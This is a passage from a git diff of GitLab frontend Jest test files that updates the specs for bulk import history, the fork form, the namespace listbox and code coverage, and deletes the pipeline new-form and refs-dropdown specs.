const NEW_PAGE_SIZE = 4;
- mock.onGet(API_URL).reply(200, DUMMY_RESPONSE, DEFAULT_HEADERS);
createComponent();
await axios.waitForAll();
mock.resetHistory();
@@ -143,7 +145,6 @@ describe('BulkImportsHistoryApp', () => {
it('sets up the local storage sync correctly', async () => {
const NEW_PAGE_SIZE = 4;
- mock.onGet(API_URL).reply(200, DUMMY_RESPONSE, DEFAULT_HEADERS);
createComponent();
await axios.waitForAll();
mock.resetHistory();
@@ -155,12 +156,37 @@ describe('BulkImportsHistoryApp', () => {
});
it('renders correct url for destination group when relative_url is empty', async () => {
- mock.onGet(API_URL).reply(200, DUMMY_RESPONSE, DEFAULT_HEADERS);
createComponent({ shallow: false });
await axios.waitForAll();
expect(wrapper.find('tbody tr a').attributes().href).toBe(
- `/${DUMMY_RESPONSE[0].destination_namespace}/${DUMMY_RESPONSE[0].destination_name}`,
+ `/${DUMMY_RESPONSE[0].destination_full_path}`,
+ );
+ });
+
+ it('renders loading icon when destination namespace is not defined', async () => {
+ const RESPONSE = [{ ...DUMMY_RESPONSE[0], destination_full_path: null }];
+
+ mock.onGet(API_URL).reply(200, RESPONSE, DEFAULT_HEADERS);
+ createComponent({ shallow: false });
+ await axios.waitForAll();
+
+ expect(wrapper.find('tbody tr').findComponent(GlLoadingIcon).exists()).toBe(true);
+ });
+
+ it('adds slash to group urls', async () => {
+ createComponent({ shallow: false });
+ await axios.waitForAll();
+
+ expect(wrapper.find('tbody tr a').text()).toBe(`${DUMMY_RESPONSE[0].destination_full_path}/`);
+ });
+
+ it('does not prefixes project urls with slash', async () => {
+ createComponent({ shallow: false });
+ await axios.waitForAll();
+
+ expect(wrapper.findAll('tbody tr a').at(1).text()).toBe(
+ DUMMY_RESPONSE[1].destination_full_path,
);
});
diff --git a/spec/frontend/pages/projects/forks/new/components/fork_form_spec.js b/spec/frontend/pages/projects/forks/new/components/fork_form_spec.js
index 9718d847ed5..aee56247209 100644
--- a/spec/frontend/pages/projects/forks/new/components/fork_form_spec.js
+++ b/spec/frontend/pages/projects/forks/new/components/fork_form_spec.js
@@ -33,6 +33,7 @@ describe('ForkForm component', () => {
const DEFAULT_PROVIDE = {
newGroupPath: 'some/groups/path',
visibilityHelpPath: 'some/visibility/help/path',
+ cancelPath: '/some/project-full-path',
projectFullPath: '/some/project-full-path',
projectId: '10',
projectName: 'Project Name',
@@ -124,13 +125,13 @@ describe('ForkForm component', () => {
const findVisibilityRadioGroup = () =>
wrapper.find('[data-testid="fork-visibility-radio-group"]');
- it('will go to projectFullPath when click cancel button', () => {
+ it('will go to cancelPath when click cancel button', () => {
createComponent();
- const { projectFullPath } = DEFAULT_PROVIDE;
+ const { cancelPath } = DEFAULT_PROVIDE;
const cancelButton = wrapper.find('[data-testid="cancel-button"]');
- expect(cancelButton.attributes('href')).toBe(projectFullPath);
+ expect(cancelButton.attributes('href')).toBe(cancelPath);
});
const selectedMockNamespace = {
@@ -463,16 +464,12 @@ describe('ForkForm component', () => {
expect(urlUtility.redirectTo).not.toHaveBeenCalled();
});
- it('does not make POST request if no visbility is checked', async () => {
+ it('does not make POST request if no visibility is checked', async () => {
jest.spyOn(axios, 'post');
- setupComponent({
- fields: {
- visibility: {
- value: null,
- },
- },
- });
+ setupComponent();
+ wrapper.vm.form.fields.visibility.value = null;
+ await nextTick();
await submitForm();
diff --git a/spec/frontend/pages/projects/forks/new/components/project_namespace_spec.js b/spec/frontend/pages/projects/forks/new/components/project_namespace_spec.js
index f6d3957115f..82f451ed6ef 100644
--- a/spec/frontend/pages/projects/forks/new/components/project_namespace_spec.js
+++ b/spec/frontend/pages/projects/forks/new/components/project_namespace_spec.js
@@ -1,11 +1,4 @@
-import {
- GlButton,
- GlDropdown,
- GlDropdownItem,
- GlDropdownSectionHeader,
- GlSearchBoxByType,
- GlTruncate,
-} from '@gitlab/ui';
+import { GlButton, GlListboxItem, GlCollapsibleListbox } from '@gitlab/ui';
import { mount, shallowMount } from '@vue/test-utils';
import Vue, { nextTick } from 'vue';
import VueApollo from 'vue-apollo';
@@ -80,17 +73,16 @@ describe('ProjectNamespace component', () => {
};
const findButtonLabel = () => wrapper.findComponent(GlButton);
- const findDropdown = () => wrapper.findComponent(GlDropdown);
- const findDropdownText = () => wrapper.findComponent(GlTruncate);
- const findInput = () => wrapper.findComponent(GlSearchBoxByType);
+ const findListBox = () => wrapper.findComponent(GlCollapsibleListbox);
+ const findListBoxText = () => findListBox().props('toggleText');
- const clickDropdownItem = async () => {
- wrapper.findComponent(GlDropdownItem).vm.$emit('click');
+ const clickListBoxItem = async (value = '') => {
+ wrapper.findComponent(GlListboxItem).vm.$emit('select', value);
await nextTick();
};
const showDropdown = () => {
- findDropdown().vm.$emit('shown');
+ findListBox().vm.$emit('shown');
};
beforeAll(() => {
@@ -115,7 +107,7 @@ describe('ProjectNamespace component', () => {
});
it('renders placeholder text', () => {
- expect(findDropdownText().props('text')).toBe('Select a namespace');
+ expect(findListBoxText()).toBe('Select a namespace');
});
});
@@ -127,24 +119,18 @@ describe('ProjectNamespace component', () => {
showDropdown();
});
- it('focuses on the input when the dropdown is opened', () => {
- const spy = jest.spyOn(findInput().vm, 'focusInput');
- showDropdown();
- expect(spy).toHaveBeenCalledTimes(1);
- });
-
it('displays fetched namespaces', () => {
const listItems = wrapper.findAll('li');
- expect(listItems).toHaveLength(3);
- expect(listItems.at(0).findComponent(GlDropdownSectionHeader).text()).toBe('Namespaces');
- expect(listItems.at(1).text()).toBe(data.project.forkTargets.nodes[0].fullPath);
- expect(listItems.at(2).text()).toBe(data.project.forkTargets.nodes[1].fullPath);
+ expect(listItems).toHaveLength(2);
+ expect(listItems.at(0).text()).toBe(data.project.forkTargets.nodes[0].fullPath);
+ expect(listItems.at(1).text()).toBe(data.project.forkTargets.nodes[1].fullPath);
});
it('sets the selected namespace', async () => {
const { fullPath } = data.project.forkTargets.nodes[0];
- await clickDropdownItem();
- expect(findDropdownText().props('text')).toBe(fullPath);
+ await clickListBoxItem(fullPath);
+
+ expect(findListBoxText()).toBe(fullPath);
});
});
@@ -155,7 +141,7 @@ describe('ProjectNamespace component', () => {
});
it('renders `No matches found`', () => {
- expect(wrapper.find('li').text()).toBe('No matches found');
+ expect(findListBox().text()).toContain('No matches found');
});
});
diff --git a/spec/frontend/pages/projects/graphs/__snapshots__/code_coverage_spec.js.snap b/spec/frontend/pages/projects/graphs/__snapshots__/code_coverage_spec.js.snap
index e7c7ec0d336..d67f842d011 100644
--- a/spec/frontend/pages/projects/graphs/__snapshots__/code_coverage_spec.js.snap
+++ b/spec/frontend/pages/projects/graphs/__snapshots__/code_coverage_spec.js.snap
@@ -45,6 +45,7 @@ exports[`Code Coverage when fetching data is successful matches the snapshot 1`]
toggletext="rspec"
variant="default"
>
+
<!---->
<!---->
@@ -57,22 +58,31 @@ exports[`Code Coverage when fetching data is successful matches the snapshot 1`]
tabindex="-1"
>
<gl-listbox-item-stub
+ data-testid="listbox-item-0"
isselected="true"
>
rspec
</gl-listbox-item-stub>
- <gl-listbox-item-stub>
+ <gl-listbox-item-stub
+ data-testid="listbox-item-1"
+ >
cypress
</gl-listbox-item-stub>
- <gl-listbox-item-stub>
+ <gl-listbox-item-stub
+ data-testid="listbox-item-2"
+ >
karma
</gl-listbox-item-stub>
+
+ <!---->
+
+ <!---->
</ul>
<!---->
diff --git a/spec/frontend/pages/projects/graphs/code_coverage_spec.js b/spec/frontend/pages/projects/graphs/code_coverage_spec.js
index e99734963e3..2ff45266a07 100644
--- a/spec/frontend/pages/projects/graphs/code_coverage_spec.js
+++ b/spec/frontend/pages/projects/graphs/code_coverage_spec.js
@@ -6,7 +6,7 @@ import MockAdapter from 'axios-mock-adapter';
import { nextTick } from 'vue';
import waitForPromises from 'helpers/wait_for_promises';
import axios from '~/lib/utils/axios_utils';
-import httpStatusCodes from '~/lib/utils/http_status';
+import { HTTP_STATUS_BAD_REQUEST, HTTP_STATUS_OK } from '~/lib/utils/http_status';
import CodeCoverage from '~/pages/projects/graphs/components/code_coverage.vue';
import { codeCoverageMockData, sortedDataByDates } from './mock_data';
@@ -49,7 +49,7 @@ describe('Code Coverage', () => {
describe('when fetching data is successful', () => {
beforeEach(() => {
mockAxios = new MockAdapter(axios);
- mockAxios.onGet().replyOnce(httpStatusCodes.OK, codeCoverageMockData);
+ mockAxios.onGet().replyOnce(HTTP_STATUS_OK, codeCoverageMockData);
createComponent();
@@ -84,7 +84,7 @@ describe('Code Coverage', () => {
describe('when fetching data fails', () => {
beforeEach(() => {
mockAxios = new MockAdapter(axios);
- mockAxios.onGet().replyOnce(httpStatusCodes.BAD_REQUEST);
+ mockAxios.onGet().replyOnce(HTTP_STATUS_BAD_REQUEST);
createComponent();
@@ -108,7 +108,7 @@ describe('Code Coverage', () => {
describe('when fetching data succeed but returns an empty state', () => {
beforeEach(() => {
mockAxios = new MockAdapter(axios);
- mockAxios.onGet().replyOnce(httpStatusCodes.OK, []);
+ mockAxios.onGet().replyOnce(HTTP_STATUS_OK, []);
createComponent();
@@ -136,7 +136,7 @@ describe('Code Coverage', () => {
describe('dropdown options', () => {
beforeEach(() => {
mockAxios = new MockAdapter(axios);
- mockAxios.onGet().replyOnce(httpStatusCodes.OK, codeCoverageMockData);
+ mockAxios.onGet().replyOnce(HTTP_STATUS_OK, codeCoverageMockData);
createComponent();
@@ -153,7 +153,7 @@ describe('Code Coverage', () => {
describe('interactions', () => {
beforeEach(() => {
mockAxios = new MockAdapter(axios);
- mockAxios.onGet().replyOnce(httpStatusCodes.OK, codeCoverageMockData);
+ mockAxios.onGet().replyOnce(HTTP_STATUS_OK, codeCoverageMockData);
createComponent();
diff --git a/spec/frontend/pages/projects/learn_gitlab/components/learn_gitlab_section_link_spec.js b/spec/frontend/pages/projects/learn_gitlab/components/learn_gitlab_section_link_spec.js
index 897cbf5eaa4..29335308370 100644
--- a/spec/frontend/pages/projects/learn_gitlab/components/learn_gitlab_section_link_spec.js
+++ b/spec/frontend/pages/projects/learn_gitlab/components/learn_gitlab_section_link_spec.js
@@ -85,6 +85,9 @@ describe('Learn GitLab Section Link', () => {
it('renders a popover trigger with question icon', () => {
expect(findPopoverTrigger().exists()).toBe(true);
expect(findPopoverTrigger().props('icon')).toBe('question-o');
+ expect(findPopoverTrigger().attributes('aria-label')).toBe(
+ LearnGitlabSectionLink.i18n.contactAdmin,
+ );
});
it('renders a popover', () => {
@@ -95,6 +98,15 @@ describe('Learn GitLab Section Link', () => {
});
});
+ it('renders default disabled message', () => {
+ expect(findPopover().text()).toContain(LearnGitlabSectionLink.i18n.contactAdmin);
+ });
+
+ it('renders custom disabled message if provided', () => {
+ createWrapper('trialStarted', { enabled: false, message: 'Custom message' });
+ expect(findPopover().text()).toContain('Custom message');
+ });
+
it('renders a link inside the popover', () => {
expect(findPopoverLink().exists()).toBe(true);
expect(findPopoverLink().attributes('href')).toBe(defaultProps.url);
diff --git a/spec/frontend/pages/projects/pipeline_schedules/shared/components/interval_pattern_input_spec.js b/spec/frontend/pages/projects/pipeline_schedules/shared/components/interval_pattern_input_spec.js
index 99df5b58d90..2d3b9afa8f6 100644
--- a/spec/frontend/pages/projects/pipeline_schedules/shared/components/interval_pattern_input_spec.js
+++ b/spec/frontend/pages/projects/pipeline_schedules/shared/components/interval_pattern_input_spec.js
@@ -138,7 +138,7 @@ describe('Interval Pattern Input Component', () => {
'Every day (at 4:00am)',
'Every week (Monday at 4:00am)',
'Every month (Day 1 at 4:00am)',
- 'Custom ( Cron syntax )',
+ 'Custom ( Learn more. )',
]);
});
});
diff --git a/spec/frontend/pages/shared/wikis/components/wiki_content_spec.js b/spec/frontend/pages/shared/wikis/components/wiki_content_spec.js
index 7c9aae13d25..c8e9a31b526 100644
--- a/spec/frontend/pages/shared/wikis/components/wiki_content_spec.js
+++ b/spec/frontend/pages/shared/wikis/components/wiki_content_spec.js
@@ -5,7 +5,7 @@ import MockAdapter from 'axios-mock-adapter';
import WikiContent from '~/pages/shared/wikis/components/wiki_content.vue';
import { renderGFM } from '~/behaviors/markdown/render_gfm';
import axios from '~/lib/utils/axios_utils';
-import httpStatus from '~/lib/utils/http_status';
+import { HTTP_STATUS_INTERNAL_SERVER_ERROR, HTTP_STATUS_OK } from '~/lib/utils/http_status';
import waitForPromises from 'helpers/wait_for_promises';
import { handleLocationHash } from '~/lib/utils/common_utils';
@@ -59,7 +59,7 @@ describe('pages/shared/wikis/components/wiki_content', () => {
const content = 'content';
beforeEach(() => {
- mock.onGet(PATH, { params: { render_html: true } }).replyOnce(httpStatus.OK, { content });
+ mock.onGet(PATH, { params: { render_html: true } }).replyOnce(HTTP_STATUS_OK, { content });
buildWrapper();
return waitForPromises();
});
@@ -88,7 +88,7 @@ describe('pages/shared/wikis/components/wiki_content', () => {
describe('when loading content fails', () => {
beforeEach(() => {
- mock.onGet(PATH).replyOnce(httpStatus.INTERNAL_SERVER_ERROR, '');
+ mock.onGet(PATH).replyOnce(HTTP_STATUS_INTERNAL_SERVER_ERROR, '');
buildWrapper();
return waitForPromises();
});
diff --git a/spec/frontend/pipeline_new/components/pipeline_new_form_spec.js b/spec/frontend/pipeline_new/components/pipeline_new_form_spec.js
deleted file mode 100644
index 2360dd7d103..00000000000
--- a/spec/frontend/pipeline_new/components/pipeline_new_form_spec.js
+++ /dev/null
@@ -1,466 +0,0 @@
-import Vue, { nextTick } from 'vue';
-import VueApollo from 'vue-apollo';
-import { GlForm, GlDropdownItem, GlSprintf, GlLoadingIcon } from '@gitlab/ui';
-import MockAdapter from 'axios-mock-adapter';
-import CreditCardValidationRequiredAlert from 'ee_component/billings/components/cc_validation_required_alert.vue';
-import createMockApollo from 'helpers/mock_apollo_helper';
-import { shallowMountExtended, mountExtended } from 'helpers/vue_test_utils_helper';
-import { TEST_HOST } from 'helpers/test_constants';
-import waitForPromises from 'helpers/wait_for_promises';
-import axios from '~/lib/utils/axios_utils';
-import httpStatusCodes from '~/lib/utils/http_status';
-import { redirectTo } from '~/lib/utils/url_utility';
-import PipelineNewForm from '~/pipeline_new/components/pipeline_new_form.vue';
-import ciConfigVariablesQuery from '~/pipeline_new/graphql/queries/ci_config_variables.graphql';
-import { resolvers } from '~/pipeline_new/graphql/resolvers';
-import RefsDropdown from '~/pipeline_new/components/refs_dropdown.vue';
-import {
- mockCreditCardValidationRequiredError,
- mockCiConfigVariablesResponse,
- mockCiConfigVariablesResponseWithoutDesc,
- mockEmptyCiConfigVariablesResponse,
- mockError,
- mockQueryParams,
- mockPostParams,
- mockProjectId,
- mockRefs,
- mockYamlVariables,
-} from '../mock_data';
-
-Vue.use(VueApollo);
-
-jest.mock('~/lib/utils/url_utility', () => ({
- redirectTo: jest.fn(),
-}));
-
-const projectRefsEndpoint = '/root/project/refs';
-const pipelinesPath = '/root/project/-/pipelines';
-const projectPath = '/root/project/-/pipelines/config_variables';
-const newPipelinePostResponse = { id: 1 };
-const defaultBranch = 'main';
-
-describe('Pipeline New Form', () => {
- let wrapper;
- let mock;
- let mockApollo;
- let mockCiConfigVariables;
- let dummySubmitEvent;
-
- const findForm = () => wrapper.findComponent(GlForm);
- const findRefsDropdown = () => wrapper.findComponent(RefsDropdown);
- const findSubmitButton = () => wrapper.findByTestId('run_pipeline_button');
- const findVariableRows = () => wrapper.findAllByTestId('ci-variable-row');
- const findRemoveIcons = () => wrapper.findAllByTestId('remove-ci-variable-row');
- const findVariableTypes = () => wrapper.findAllByTestId('pipeline-form-ci-variable-type');
- const findKeyInputs = () => wrapper.findAllByTestId('pipeline-form-ci-variable-key');
- const findValueInputs = () => wrapper.findAllByTestId('pipeline-form-ci-variable-value');
- const findValueDropdowns = () =>
- wrapper.findAllByTestId('pipeline-form-ci-variable-value-dropdown');
- const findValueDropdownItems = (dropdown) => dropdown.findAllComponents(GlDropdownItem);
- const findErrorAlert = () => wrapper.findByTestId('run-pipeline-error-alert');
- const findWarningAlert = () => wrapper.findByTestId('run-pipeline-warning-alert');
- const findWarningAlertSummary = () => findWarningAlert().findComponent(GlSprintf);
- const findWarnings = () => wrapper.findAllByTestId('run-pipeline-warning');
- const findLoadingIcon = () => wrapper.findComponent(GlLoadingIcon);
- const findCCAlert = () => wrapper.findComponent(CreditCardValidationRequiredAlert);
- const getFormPostParams = () => JSON.parse(mock.history.post[0].data);
-
- const selectBranch = async (branch) => {
- // Select a branch in the dropdown
- findRefsDropdown().vm.$emit('input', {
- shortName: branch,
- fullName: `refs/heads/${branch}`,
- });
-
- await waitForPromises();
- };
-
- const changeKeyInputValue = async (keyInputIndex, value) => {
- const input = findKeyInputs().at(keyInputIndex);
- input.element.value = value;
- input.trigger('change');
-
- await nextTick();
- };
-
- const createComponentWithApollo = ({ method = shallowMountExtended, props = {} } = {}) => {
- const handlers = [[ciConfigVariablesQuery, mockCiConfigVariables]];
- mockApollo = createMockApollo(handlers, resolvers);
-
- wrapper = method(PipelineNewForm, {
- apolloProvider: mockApollo,
- provide: {
- projectRefsEndpoint,
- },
- propsData: {
- projectId: mockProjectId,
- pipelinesPath,
- projectPath,
- defaultBranch,
- refParam: defaultBranch,
- settingsLink: '',
- maxWarnings: 25,
- ...props,
- },
- });
- };
-
- beforeEach(() => {
- mock = new MockAdapter(axios);
- mockCiConfigVariables = jest.fn();
- mock.onGet(projectRefsEndpoint).reply(httpStatusCodes.OK, mockRefs);
-
- dummySubmitEvent = {
- preventDefault: jest.fn(),
- };
- });
-
- afterEach(() => {
- mock.restore();
- wrapper.destroy();
- });
-
- describe('Form', () => {
- beforeEach(async () => {
- mockCiConfigVariables.mockResolvedValue(mockEmptyCiConfigVariablesResponse);
- createComponentWithApollo({ props: mockQueryParams, method: mountExtended });
- await waitForPromises();
- });
-
- it('displays the correct values for the provided query params', async () => {
- expect(findVariableTypes().at(0).props('text')).toBe('Variable');
- expect(findVariableTypes().at(1).props('text')).toBe('File');
- expect(findRefsDropdown().props('value')).toEqual({ shortName: 'tag-1' });
- expect(findVariableRows()).toHaveLength(3);
- });
-
- it('displays a variable from provided query params', () => {
- expect(findKeyInputs().at(0).element.value).toBe('test_var');
- expect(findValueInputs().at(0).element.value).toBe('test_var_val');
- });
-
- it('displays an empty variable for the user to fill out', async () => {
- expect(findKeyInputs().at(2).element.value).toBe('');
- expect(findValueInputs().at(2).element.value).toBe('');
- expect(findVariableTypes().at(2).props('text')).toBe('Variable');
- });
-
- it('does not display remove icon for last row', () => {
- expect(findRemoveIcons()).toHaveLength(2);
- });
-
- it('removes ci variable row on remove icon button click', async () => {
- findRemoveIcons().at(1).trigger('click');
-
- await nextTick();
-
- expect(findVariableRows()).toHaveLength(2);
- });
-
- it('creates blank variable on input change event', async () => {
- const input = findKeyInputs().at(2);
- input.element.value = 'test_var_2';
- input.trigger('change');
-
- await nextTick();
-
- expect(findVariableRows()).toHaveLength(4);
- expect(findKeyInputs().at(3).element.value).toBe('');
- expect(findValueInputs().at(3).element.value).toBe('');
- });
- });
-
- describe('Pipeline creation', () => {
- beforeEach(async () => {
- mockCiConfigVariables.mockResolvedValue(mockEmptyCiConfigVariablesResponse);
- mock.onPost(pipelinesPath).reply(httpStatusCodes.OK, newPipelinePostResponse);
- });
-
- it('does not submit the native HTML form', async () => {
- createComponentWithApollo();
-
- findForm().vm.$emit('submit', dummySubmitEvent);
-
- expect(dummySubmitEvent.preventDefault).toHaveBeenCalled();
- });
-
- it('disables the submit button immediately after submitting', async () => {
- createComponentWithApollo();
-
- expect(findSubmitButton().props('disabled')).toBe(false);
-
- findForm().vm.$emit('submit', dummySubmitEvent);
- await waitForPromises();
-
- expect(findSubmitButton().props('disabled')).toBe(true);
- });
-
- it('creates pipeline with full ref and variables', async () => {
- createComponentWithApollo();
-
- findForm().vm.$emit('submit', dummySubmitEvent);
- await waitForPromises();
-
- expect(getFormPostParams().ref).toEqual(`refs/heads/${defaultBranch}`);
- expect(redirectTo).toHaveBeenCalledWith(`${pipelinesPath}/${newPipelinePostResponse.id}`);
- });
-
- it('creates a pipeline with short ref and variables from the query params', async () => {
- createComponentWithApollo({ props: mockQueryParams });
-
- await waitForPromises();
-
- findForm().vm.$emit('submit', dummySubmitEvent);
-
- await waitForPromises();
-
- expect(getFormPostParams()).toEqual(mockPostParams);
- expect(redirectTo).toHaveBeenCalledWith(`${pipelinesPath}/${newPipelinePostResponse.id}`);
- });
- });
-
- describe('When the ref has been changed', () => {
- beforeEach(async () => {
- mockCiConfigVariables.mockResolvedValue(mockEmptyCiConfigVariablesResponse);
- createComponentWithApollo({ method: mountExtended });
-
- await waitForPromises();
- });
-
- it('variables persist between ref changes', async () => {
- await selectBranch('main');
- await changeKeyInputValue(0, 'build_var');
-
- await selectBranch('branch-1');
- await changeKeyInputValue(0, 'deploy_var');
-
- await selectBranch('main');
-
- expect(findKeyInputs().at(0).element.value).toBe('build_var');
- expect(findVariableRows().length).toBe(2);
-
- await selectBranch('branch-1');
-
- expect(findKeyInputs().at(0).element.value).toBe('deploy_var');
- expect(findVariableRows().length).toBe(2);
- });
-
- it('skips query call when form variables are already cached', async () => {
- await selectBranch('main');
- await changeKeyInputValue(0, 'build_var');
-
- expect(mockCiConfigVariables).toHaveBeenCalledTimes(1);
-
- await selectBranch('branch-1');
-
- expect(mockCiConfigVariables).toHaveBeenCalledTimes(2);
-
- // no additional call since `main` form values have been cached
- await selectBranch('main');
-
- expect(mockCiConfigVariables).toHaveBeenCalledTimes(2);
- });
- });
-
- describe('when yml defines a variable', () => {
- it('loading icon is shown when content is requested and hidden when received', async () => {
- mockCiConfigVariables.mockResolvedValue(mockEmptyCiConfigVariablesResponse);
- createComponentWithApollo({ props: mockQueryParams, method: mountExtended });
-
- expect(findLoadingIcon().exists()).toBe(true);
-
- await waitForPromises();
-
- expect(findLoadingIcon().exists()).toBe(false);
- });
-
- describe('with different predefined values', () => {
- beforeEach(async () => {
- mockCiConfigVariables.mockResolvedValue(mockCiConfigVariablesResponse);
- createComponentWithApollo({ method: mountExtended });
- await waitForPromises();
- });
-
- it('multi-line strings are added to the value field without removing line breaks', () => {
- expect(findValueInputs().at(1).element.value).toBe(mockYamlVariables[1].value);
- });
-
- it('multiple predefined values are rendered as a dropdown', () => {
- const dropdown = findValueDropdowns().at(0);
- const dropdownItems = findValueDropdownItems(dropdown);
- const { valueOptions } = mockYamlVariables[2];
-
- expect(dropdownItems.at(0).text()).toBe(valueOptions[0]);
- expect(dropdownItems.at(1).text()).toBe(valueOptions[1]);
- expect(dropdownItems.at(2).text()).toBe(valueOptions[2]);
- });
-
- it('variable with multiple predefined values sets value as the default', () => {
- const dropdown = findValueDropdowns().at(0);
- const { valueOptions } = mockYamlVariables[2];
-
- expect(dropdown.props('text')).toBe(valueOptions[1]);
- });
- });
-
- describe('with description', () => {
- beforeEach(async () => {
- mockCiConfigVariables.mockResolvedValue(mockCiConfigVariablesResponse);
- createComponentWithApollo({ props: mockQueryParams, method: mountExtended });
- await waitForPromises();
- });
-
- it('displays all the variables', async () => {
- expect(findVariableRows()).toHaveLength(6);
- });
-
- it('displays a variable from yml', () => {
- expect(findKeyInputs().at(0).element.value).toBe(mockYamlVariables[0].key);
- expect(findValueInputs().at(0).element.value).toBe(mockYamlVariables[0].value);
- });
-
- it('displays a variable from provided query params', () => {
- expect(findKeyInputs().at(3).element.value).toBe(
- Object.keys(mockQueryParams.variableParams)[0],
- );
- expect(findValueInputs().at(3).element.value).toBe(
- Object.values(mockQueryParams.fileParams)[0],
- );
- });
-
- it('adds a description to the first variable from yml', () => {
- expect(findVariableRows().at(0).text()).toContain(mockYamlVariables[0].description);
- });
-
- it('removes the description when a variable key changes', async () => {
- findKeyInputs().at(0).element.value = 'yml_var_modified';
- findKeyInputs().at(0).trigger('change');
-
- await nextTick();
-
- expect(findVariableRows().at(0).text()).not.toContain(mockYamlVariables[0].description);
- });
- });
-
- describe('without description', () => {
- beforeEach(async () => {
- mockCiConfigVariables.mockResolvedValue(mockCiConfigVariablesResponseWithoutDesc);
- createComponentWithApollo({ method: mountExtended });
- await waitForPromises();
- });
-
- it('displays variables with description only', async () => {
- expect(findVariableRows()).toHaveLength(2); // extra empty variable is added at the end
- });
- });
- });
-
- describe('Form errors and warnings', () => {
- beforeEach(() => {
- mockCiConfigVariables.mockResolvedValue(mockEmptyCiConfigVariablesResponse);
- createComponentWithApollo();
- });
-
- describe('when the refs cannot be loaded', () => {
- beforeEach(() => {
- mock
- .onGet(projectRefsEndpoint, { params: { search: '' } })
- .reply(httpStatusCodes.INTERNAL_SERVER_ERROR);
-
- findRefsDropdown().vm.$emit('loadingError');
- });
-
- it('shows both an error alert', () => {
- expect(findErrorAlert().exists()).toBe(true);
- expect(findWarningAlert().exists()).toBe(false);
- });
- });
-
- describe('when the error response can be handled', () => {
- beforeEach(async () => {
- mock.onPost(pipelinesPath).reply(httpStatusCodes.BAD_REQUEST, mockError);
-
- findForm().vm.$emit('submit', dummySubmitEvent);
-
- await waitForPromises();
- });
-
- it('shows both error and warning', () => {
- expect(findErrorAlert().exists()).toBe(true);
- expect(findWarningAlert().exists()).toBe(true);
- });
-
- it('shows the correct error', () => {
- expect(findErrorAlert().text()).toBe(mockError.errors[0]);
- });
-
- it('shows the correct warning title', () => {
- const { length } = mockError.warnings;
-
- expect(findWarningAlertSummary().attributes('message')).toBe(`${length} warnings found:`);
- });
-
- it('shows the correct amount of warnings', () => {
- expect(findWarnings()).toHaveLength(mockError.warnings.length);
- });
-
- it('re-enables the submit button', () => {
- expect(findSubmitButton().props('disabled')).toBe(false);
- });
-
- it('does not show the credit card validation required alert', () => {
- expect(findCCAlert().exists()).toBe(false);
- });
-
- describe('when the error response is credit card validation required', () => {
- beforeEach(async () => {
- mock
- .onPost(pipelinesPath)
- .reply(httpStatusCodes.BAD_REQUEST, mockCreditCardValidationRequiredError);
-
- window.gon = {
- subscriptions_url: TEST_HOST,
- payment_form_url: TEST_HOST,
- };
-
- findForm().vm.$emit('submit', dummySubmitEvent);
-
- await waitForPromises();
- });
-
- it('shows credit card validation required alert', () => {
- expect(findErrorAlert().exists()).toBe(false);
- expect(findCCAlert().exists()).toBe(true);
- });
-
- it('clears error and hides the alert on dismiss', async () => {
- expect(findCCAlert().exists()).toBe(true);
- expect(wrapper.vm.$data.error).toBe(mockCreditCardValidationRequiredError.errors[0]);
-
- findCCAlert().vm.$emit('dismiss');
-
- await nextTick();
-
- expect(findCCAlert().exists()).toBe(false);
- expect(wrapper.vm.$data.error).toBe(null);
- });
- });
- });
-
- describe('when the error response cannot be handled', () => {
- beforeEach(async () => {
- mock
- .onPost(pipelinesPath)
- .reply(httpStatusCodes.INTERNAL_SERVER_ERROR, 'something went wrong');
-
- findForm().vm.$emit('submit', dummySubmitEvent);
-
- await waitForPromises();
- });
-
- it('re-enables the submit button', () => {
- expect(findSubmitButton().props('disabled')).toBe(false);
- });
- });
- });
-});
diff --git a/spec/frontend/pipeline_new/components/refs_dropdown_spec.js b/spec/frontend/pipeline_new/components/refs_dropdown_spec.js
deleted file mode 100644
index 8cba876c688..00000000000
--- a/spec/frontend/pipeline_new/components/refs_dropdown_spec.js
+++ /dev/null
@@ -1,182 +0,0 @@
-import { GlDropdown, GlDropdownItem, GlSearchBoxByType } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
-import MockAdapter from 'axios-mock-adapter';
-import waitForPromises from 'helpers/wait_for_promises';
-import axios from '~/lib/utils/axios_utils';
-import httpStatusCodes from '~/lib/utils/http_status';
-
-import RefsDropdown from '~/pipeline_new/components/refs_dropdown.vue';
-
-import { mockRefs, mockFilteredRefs } from '../mock_data';
-
-const projectRefsEndpoint = '/root/project/refs';
-const refShortName = 'main';
-const refFullName = 'refs/heads/main';
-
-jest.mock('~/flash');
-
-describe('Pipeline New Form', () => {
- let wrapper;
- let mock;
-
- const findDropdown = () => wrapper.findComponent(GlDropdown);
- const findRefsDropdownItems = () => wrapper.findAllComponents(GlDropdownItem);
- const findSearchBox = () => wrapper.findComponent(GlSearchBoxByType);
-
- const createComponent = (props = {}, mountFn = shallowMount) => {
- wrapper = mountFn(RefsDropdown, {
- provide: {
- projectRefsEndpoint,
- },
- propsData: {
- value: {
- shortName: refShortName,
- fullName: refFullName,
- },
- ...props,
- },
- });
- };
-
- beforeEach(() => {
- mock = new MockAdapter(axios);
- mock.onGet(projectRefsEndpoint, { params: { search: '' } }).reply(httpStatusCodes.OK, mockRefs);
- });
-
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
-
- mock.restore();
- });
-
- beforeEach(() => {
- createComponent();
- });
-
- it('displays empty dropdown initially', async () => {
- await findDropdown().vm.$emit('show');
-
- expect(findRefsDropdownItems()).toHaveLength(0);
- });
-
- it('does not make requests immediately', async () => {
- expect(mock.history.get).toHaveLength(0);
- });
-
- describe('when user opens dropdown', () => {
- beforeEach(async () => {
- await findDropdown().vm.$emit('show');
- await waitForPromises();
- });
-
- it('requests unfiltered tags and branches', async () => {
- expect(mock.history.get).toHaveLength(1);
- expect(mock.history.get[0].url).toBe(projectRefsEndpoint);
- expect(mock.history.get[0].params).toEqual({ search: '' });
- });
-
- it('displays dropdown with branches and tags', async () => {
- const refLength = mockRefs.Tags.length + mockRefs.Branches.length;
-
- expect(findRefsDropdownItems()).toHaveLength(refLength);
- });
-
- it('displays the names of refs', () => {
- // Branches
- expect(findRefsDropdownItems().at(0).text()).toBe(mockRefs.Branches[0]);
-
- // Tags (appear after branches)
- const firstTag = mockRefs.Branches.length;
- expect(findRefsDropdownItems().at(firstTag).text()).toBe(mockRefs.Tags[0]);
- });
-
- it('when user shows dropdown a second time, only one request is done', () => {
- expect(mock.history.get).toHaveLength(1);
- });
-
- describe('when user selects a value', () => {
- const selectedIndex = 1;
-
- beforeEach(async () => {
